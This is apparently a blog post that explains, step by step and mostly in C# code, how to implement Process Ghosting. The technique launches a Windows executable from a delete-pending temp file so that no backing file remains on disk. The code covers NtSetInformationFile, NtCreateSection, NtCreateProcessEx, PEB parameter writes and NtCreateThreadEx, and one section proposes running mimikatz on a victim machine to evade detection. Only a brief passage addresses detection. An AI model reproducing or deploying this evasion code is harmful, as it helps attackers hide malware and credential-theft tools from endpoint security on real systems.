Skip to main content

Understanding Process Ghosting in Detail

Pre-requisites

The following are some pre-requisites, which will help you to enjoy this blog even more

  • Knowledge about C#
  • Knowledge about the PE structure
  • Familiarity with WinDbg
  • Little knowledge about SysInternals

Introduction

A few months back, I came to know about a PE image tampering method called Process Ghosting. It is very similar to Process Doppelgänging and Process Herpaderping. The difference is that in case of Process Doppelgänging, the PE image created will be in a Transacted State, while in case of Process Ghosting the PE Image will be in Delete Pending state. This makes it impossible for an EDR or any software to open that file, as long as the file is on the disk

Description of the technique can be found on many blogs and articles, but in this blog my aim is to get down to the minute details of tampering a PE image and creating a process through that.

You can refer to my C# code here -> ProcessGhosting POC

Methodology

First we need to understand the flow of the code and the methodology used

  1. First create a file. In this case, it’ll be a temp file
  2. Open the file using NtOpenFile . Use the DELETE flag for opening
  3. Then set the properties of the file using NtSetInformationFile such that it is set to FileDispositionInformation. This will put the file in a delete pending state, since we opened the file with the DELETE flag
  4. Write the contents of the PE image into the file, from which you want to create the ghost process. Make sure to convert the binary into a byte array before writing
  5. Once you’ve written to the file, create a section using NtCreateSection
  6. After creating the section, close the file. As soon as you close the file, the file will be deleted from the disk, but the section created will still be in memory and you’ll have the section handle
  7. Now using this section handle, create a process using NtCreateProcessEx
  8. Do make sure to calculate the entry point of the PE image and from it the PEB (Process Environment Block.
  9. Now we need to write the process parameters in the process we created
  10. Create your own process parameters using RtlCreateProcessParametersEx
  11. Locate the location of RTL_USER_PROCESS_PARAMETERS and from them the location of Environment and EnvironmentSize
  12. Write your process parameters and environment block in the calculated location
  13. Now create a thread from the entry point of the PE image. This will start the desired process, but without an originating binary file.

Now we will learn about the steps in details, closely following my C# implementation of the Original POC by hasherezade

Creating the delete pending file

Before creating the “ghost file”, we need to first write to

Converting target file to byte array

  • We need to first convert the target file into a byte array, so that it can be written into the delete pending file
  • For this the BufferPayload function was written
public static IntPtr BufferPayload(string filename, ref long size)
{
	IntPtr fileHandle = CreateFileW(filename, FileAccess.Read, FileShare.Read, IntPtr.Zero, FileMode.Open, FileAttributes.Normal, IntPtr.Zero);

	IntPtr mapping = CreateFileMapping(fileHandle, IntPtr.Zero, FileMapProtection.PageReadonly, (uint)0, (uint)0, String.Empty);

	IntPtr rawDataPointer = MapViewOfFileEx(mapping, FileMapAccessType.Read, 0, 0, UIntPtr.Zero, IntPtr.Zero);

	//long size;
	GetFileSizeEx(fileHandle, out size);

	IntPtr localCopyAddress = VirtualAlloc(IntPtr.Zero, (uint)size, (uint)(AllocationType.Commit | AllocationType.Reserve), (uint)MemoryProtection.ReadWrite);
	//byte[] temp = BitConverter.GetBytes((UInt32)rawDataPointer);

	memcpy(localCopyAddress, rawDataPointer, (UIntPtr)size);
	//Marshal.Copy(temp, 0, localCopyAddress, (int)size);

	return localCopyAddress;
}
  • First the file handle is obtained using the CreateFileW function. The Open mode is used so as to only open the target file
  • A mapping object is obtained using the CreateFileMapping Win32 API
  • Map a view of the file mapping using MapViewOfFileEx. Provide the mapping and access type.
  • Set the third and fourth parameters (dwDesiredOffsetHigh and dwDesiredOffsetLow) to 0 to select the default options
  • Set the last two arguments (dwNumberOfBytesToMap and lpBaseBaseAddress) to UIntPtr.Zero and IntPtr.Zero .
  • dwNumberOfBytesToMap is set to NULL so that the mapping extends to the end of the file
  • lpBaseAddress is set to 0, so that the operating system chooses the mapping address
  • Allocate memory using VirtalAlloc, which is the size of the file. Also, give Read-Write access to it
  • Use memcpy to copy the contents at the pointer to the mapped view of the file, to the allocated memory section that we created
  • Then return the address of the memory location where we copied the contents of the file

Creating a temp file

StringBuilder temp_path = new StringBuilder(MAX_PATH);
//string dummy_name = string.Empty;
StringBuilder dummy_name = new StringBuilder(MAX_PATH);
uint size = GetTempPath(MAX_PATH, temp_path);
GetTempFileName(temp_path.ToString(), "TH", 0, dummy_name);
  • This portion of the code first gets the temp path for the current user using GetTempPath. The temp path is usually in the C:\Users\<username>\AppData\Local\Temp
  • The use the GetTempFileName to create a .tmp file starting the string TH

Putting the file in delete pending state

  • Now that we have the file to write to and the byte array which we will write to the file, we need to put the file in delete pending state, write to it and ultimately close it, which will delete the file automatically.
  • This whole this is done by the MakeSectionFromDeletePendingFile() function
static IntPtr MakeSectionFromDeletePendingFile(string dummy_name, IntPtr payloadPointer, int sizeShellcode)
{
	IO_STATUS_BLOCK status_block = new IO_STATUS_BLOCK();
	FILE_DISPOSITION_INFORMATION info = new FILE_DISPOSITION_INFORMATION();
	info.DeleteFile = true;
	IntPtr iPntr = Marshal.AllocHGlobal(Marshal.SizeOf(info));

	IntPtr hDeleteFile = openFile(dummy_name);
	NTSTATUS status = NtSetInformationFile(hDeleteFile, ref status_block, iPntr, (UInt32)Marshal.SizeOf(info), (uint)FILE_INFORMATION_CLASS.FileDispositionInformation);
	long fileSize = 0;

	status = NtWriteFile(hDeleteFile, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out _, payloadPointer, (uint)sizeShellcode, IntPtr.Zero, IntPtr.Zero);

	GetFileSizeEx(hDeleteFile, out fileSize);
	HANDLE hSection = IntPtr.Zero;
	UInt32 maxsize = 0;
	status = NtCreateSection(ref hSection, (uint)SECTION_ACCESS.SECTION_ALL_ACCESS, IntPtr.Zero, maxsize, 0x00000002, 0x1000000, hDeleteFile);
	NtClose(hDeleteFile);

	return hSection;
}

Opening the file with DELETE flag

  • One of the most important thing in creating the delete pending file is opening the file with the DELETE flag
  • The NtOpenFile is used in the openFile function.
  • As it can be seen, the numerical values 0x00010000 | 0x00100000 | 0x80000000 | 0x40000000 are used
  • These are the numerical values for DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE respectively
int status = NtOpenFile(out hFile, 0x00010000 | 0x00100000 | 0x80000000 | 0x40000000, ref objAttributes, out ioStatusBlock, FileShare.Read | FileShare.Write, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT);
  • The resulting file handle is stored in the hFile variable, which is then returned by the openFile function

Setting information for the file

  • Before we can set any information to the file, we to define two structures, IO_STATUS_BLOCK (this is one of the outputs of the NtSetInformationFile) and FILE_DISPOSITION_INFORMATION (this will contain the information for putting the file in delete pending state)

  • Set the value of info.DeleFile to true. This will indicate that the operating system should delete file, once it is closed

  • Now invoke the NtSetInformationFile to set the required information to the file.

    1. Set the first argument to the file handle obtained from openFile function
    2. Set the second argument as a reference to the IO_STATUS_BLOCK structure, which will be set by the API itself
    3. Then give the pointer to the info structure
    4. Give the size of the structure as the fourth argument
    5. Now set the value of FILE_INFORMATION_CLASS as FileDispositionInformation which will finally put the file in a delete pending state

Creating Process from the file contents

  • Write the file contents to the file using NtWriteFile
status = NtWriteFile(hDeleteFile, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out _, payloadPointer, (uint)sizeShellcode, IntPtr.Zero, IntPtr.Zero);
status = NtCreateSection(ref hSection, (uint)SECTION_ACCESS.SECTION_ALL_ACCESS, IntPtr.Zero, maxsize, 0x00000002, 0x1000000, hDeleteFile);
  • Close the file, effectively deleting the file. Return the section handle

  • Once you get the file handle, use NtCreateProcessEx to create a process from the section handle. Also store the process handle as given by the API

int stat = NtCreateProcessEx(ref hProcess, 0x001F0FFF, IntPtr.Zero, GetCurrentProcess(), 4, hSection, IntPtr.Zero, IntPtr.Zero, 0);

Getting entry point of the image

  • First we need to query information about the process using NtQueryInformationProcess. This will give us the PROCESS_BASIC_INFORMATION
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();

uint temp = 0;
NtQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref temp)
  1. Set the first argument to the process handle
  2. Set the second argument to 0, which will give us the ProcessBasicInformation
  3. Give the structure to hold the process basic information
  4. Set the size of information length. In this case, since PROCESS_BASIC_INFORMATION has 6 values of type IntPtr we set it to IntPtr.Size * 6
  5. Set the last argument to a variable to hold the return length
  • From the bi structure, we can get the bi.PebAddress which is the address of PEB (Process Environment Block)
  • Following is the GetEntryPoint function which gives us the address of the entry point of the PE image
public static IntPtr GetEntryPoint(PROCESS_BASIC_INFORMATION bi, IntPtr hProcess)
{
	
	IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
	byte[] addrBuf = new byte[IntPtr.Size];
	IntPtr nRead = IntPtr.Zero;
	ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

	IntPtr payloadBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

	byte[] data = new byte[0x200];
	ReadProcessMemory(hProcess, payloadBase, data, data.Length, out nRead);

	uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
	uint opthdr = e_lfanew_offset + 0x28;
	uint entryPoint_rva = BitConverter.ToUInt32(data, (int)opthdr);

	IntPtr addressOfEntryPoint = (IntPtr)(entryPoint_rva + (UInt64)payloadBase);

	return addressOfEntryPoint;
}
  • At an offset of 0x10 from the PEB, we have the pointer to the image base
  • So we read the value at PebAddress + 0x10 using ReadProcessMemory
  • Then read 0x200 bytes starting from the pointer to image base using ReadProcessMemory again
  • At 0x3C offset read the e_lfanew. This contains the offset from the beginning of the PE image base to the PE header
  • 0x28 bytes from the e_lfanew offset, get the Optional Header
  • This will then give us the RVA of the PE entry point
  • If we add the RVA to the image base, then we will get the entry point

Setting up Process Parameters

This was the most important and challenging part for me code in C#. Every process needs their Process Parameters, as well as environment blocks to run properly

This is done in the SetupProcessParameters function

Creating an Environment Block for the current user

  • Use CreateEnvironmentBlock to create an environment block using the information from the current user
IntPtr environment = IntPtr.Zero;
CreateEnvironmentBlock(out environment, IntPtr.Zero, true);
  • This will store the environment block in the environment variable

Creating process parameters

  • Before creating process parameters, we must define the values of various components by converting them to unicode structs
  • The following function converts strings to unicode structs which are returned as pointers
public static IntPtr CreateUnicodeStruct(string data)
{
	UNICODE_STRING UnicodeObject = new UNICODE_STRING();
	string UnicodeObject_Buffer = data;
	UnicodeObject.Length = Convert.ToUInt16(UnicodeObject_Buffer.Length * 2);
	UnicodeObject.MaximumLength = Convert.ToUInt16(UnicodeObject.Length + 1);
	UnicodeObject.buffer = Marshal.StringToHGlobalUni(UnicodeObject_Buffer);
	IntPtr InMemoryStruct = Marshal.AllocHGlobal(16);
	Marshal.StructureToPtr(UnicodeObject, InMemoryStruct, true);
	
	return InMemoryStruct;
}
  • I defined the following values and hardcoded them for easier understanding
String WinDir = Environment.GetEnvironmentVariable("windir");
IntPtr uSystemDir = CreateUnicodeStruct(WinDir + "\\System32");
IntPtr uTargetPath = CreateUnicodeStruct(targetPath);
IntPtr uWindowName = CreateUnicodeStruct("test");
IntPtr uCurrentDir = CreateUnicodeStruct("C:\\Users\\User\\Desktop");
IntPtr desktopInfo = CreateUnicodeStruct(@"WinSta0\Default");
  • For the first value, it is the Windows Directory (C:\Windows) , and is obtained from the environment variable
  • The next one is the C:\Windows\System32 directory
  • The target Path is the target binary which we want to run. I have hardcoded it to be C:\Windows\System32\calc.exe
  • The next one is the window name of the process
  • Then we have the current directory. You can dynamically get it using GetEnvironmentVariable function
  • The next is the desktop info. I was not able to retrieve it dynamically. So I hardcoded the one which I got from the debugger

The following is how you can get the desktopinfo string from calc.exe binary using WinDbg

  • Use 0:000> dt _peb @$peb to get the PEB

  • Click on ProcessParameters as marked in the picture

  • At offset 0xc0 there is the DestopInfo address

  • This will show me the value of DesktopInfo

  • Now we can finally create the process parameters using RtlCreateProcessParametersEx

UInt32 status = RtlCreateProcessParametersEx(ref pProcParams, uTargetPath, uSystemDir, uSystemDir, uTargetPath, environment, uWindowName, desktopInfo, IntPtr.Zero, IntPtr.Zero, 1);

Writing the Process Parameters and Environment Variables

Now that we have created the process parameters and the environment block, we need to write them to the process that we created

Reading the Environment size and Environment Pointer

  • We need the Environment Size and Environment Pointer for a later use, when we will be writing their values to the process
  • The environment block size is at an offset of 0x3f0 from Process Parameters

Int32 EnvSize = Marshal.ReadInt32((IntPtr)pProcParams.ToInt64() + 0x3f0);
IntPtr EnvPtr = (IntPtr)Marshal.ReadInt64((IntPtr)(pProcParams.ToInt64() + 0x080));

Getting the Length of the Process Parameters

  • The Length of the process parameters will be required, when we will be writing them to the process
  • The length is at an offset of 0x4 from the start of RTL_USER_PROCESS_PARAMETERS
Int32 Length = Marshal.ReadInt32((IntPtr)pProcParams.ToInt64() + 4);

Writing the Process Parameters and the Environment Block in a Continuous Memory

Now while writing the Process Parameters and the Environment Block, there can be two cases.

  1. They are in a continuous memory region, one after the other.
  2. They are NOT in a continuous memory region
  • In the first case, we calculate the total size of the memory region that we need to allocate, in order to write both the Process Parameters and the Environment block
IntPtr buffer = pProcParams;
Int64 buffer_end = pProcParams.ToInt64() + Length;
if (pProcParams.ToInt64() > EnvPtr.ToInt64())
{
	buffer = EnvPtr;
}
IntPtr env_end = (IntPtr)(EnvPtr.ToInt64() + EnvSize);
if (env_end.ToInt64() > buffer_end)
{
	buffer_end = env_end.ToInt64();
}
  • Now you can allocate memory with the calculated buffer size starting from the calculated buffer start section
VirtualAllocEx(hProcess, buffer, buffer_size, (int)(AllocationType.Commit | AllocationType.Reserve), (int)(MemoryProtection.ReadWrite));
  • After allocating memory memory, write the Process Parameters and the Environment Blocks respectively
writememstat = WriteRemoteMem(hProcess, pProcParams, pProcParams, Length, MemoryProtection.ReadWrite);

writememstat = WriteRemoteMem(hProcess, EnvPtr, EnvPtr, EnvSize, MemoryProtection.ReadWrite);

NOTE: WriteRemoteMem function uses the WriteProcessMemory function to write to a remote memory, with the specified memory protection flags (Source: https://github.com/FuzzySecurity/Sharp-Suite/blob/master/SwampThing/Program.cs)

  • Now, if program is successful in writing the Process Parameters and the Environment blocks in continuous memory region, it will be enough to create the thread and spawn the process, else we have to look into case 2

Writing the Process Parameters and the Environment Block in separate chunks

  • This case considers that the Process Parameters and the Environment blocks are NOT in continuous memory region.

  • So we allocate separate memory regions for process parameters and environment blocks

  • First allocate memory region for Process Parameters and write the created process parameters to it

VirtualAllocEx(hProcess, pProcParams, (uint)Length, (int)(AllocationType.Commit | AllocationType.Reserve), (int)MemoryProtection.ReadWrite);

writememstat = WriteRemoteMem(hProcess, pProcParams, pProcParams, Length, MemoryProtection.ReadWrite);
  • Then allocate memory region for environment block and write the created environment block to it
VirtualAllocEx(hProcess, EnvPtr, (uint)EnvSize, (int)(AllocationType.Commit | AllocationType.Reserve), (int)MemoryProtection.ReadWrite);

writememstat = WriteRemoteMem(hProcess, EnvPtr, EnvPtr, EnvSize, MemoryProtection.ReadWrite);

Writing the process parameters to the PEB

  • Now we need to write the process parameters to the PEB of the target process
IntPtr myProcParams = Marshal.AllocHGlobal(ReadSize);
Marshal.WriteInt64(myProcParams, (Int64)pProcParams);

writememstat = WriteRemoteMem(hProcess, myProcParams, (IntPtr)(temp.ToInt64() + 0x20), ReadSize, MemoryProtection.ReadWrite);
  • The Process parameters is located 0x20 from the start of the PEB address. Therefore, we write the process parameters first to a blank memory location and then to the PEB
  • The value of ReadSize is 0x8 for 64-bit architecture

Spawning the Process

Once everything is set, we can use the Process handle to create a thread using NtCreateThreadEx

NTSTATUS st = NtCreateThreadEx(ref hThread, 0x1fffff, IntPtr.Zero, hProcess, payloadEp, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);

This will finally start the target process from the already deleted file.

Usage Example of the POC

We we’ll use a sample example for this. The targeted binary in this case will be calc.exe and the other hardcoded details are changed accordingly

Executing the binary will launch calc.exe

  • In the second example, we run powershell.exe .
  • The target file path is changed accordingly -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

  • As you can see, that powershell is running with the windows name as test, which we had set in our RtlCreateProcessParametersEx API.

Alternative Attack Vectors

  • One can run the process ghosting program on the victim system to execute a target binary from an UNC path
  • For example, if the target binary is located in a path such as \\localhost\C$\SecureFolder\mimikatz.exe, we can put it in our process ghosting program. Now, we can put the ProcessGhosting.exe on the victim machine and run it. This will run mimikatz.exe as a ghost process avoiding some detections.

Blue Team Considerations

Finding Process origin

  • If we open the task manager and check for a process with the same process ID. We see that there is no details about it

  • Right clicking and trying to open file location of the origin of the process will yield no results

Detection mechanisms

  • If there is a process which originates from an unknown location, or whose origin is not there, then it might be a case of process ghosting

References

  1. https://github.com/hasherezade/process_ghosting
  2. https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
  3. https://github.com/FuzzySecurity/Sharp-Suite/blob/master/SwampThing/Program.cs
  4. https://docs.microsoft.com/en-gb/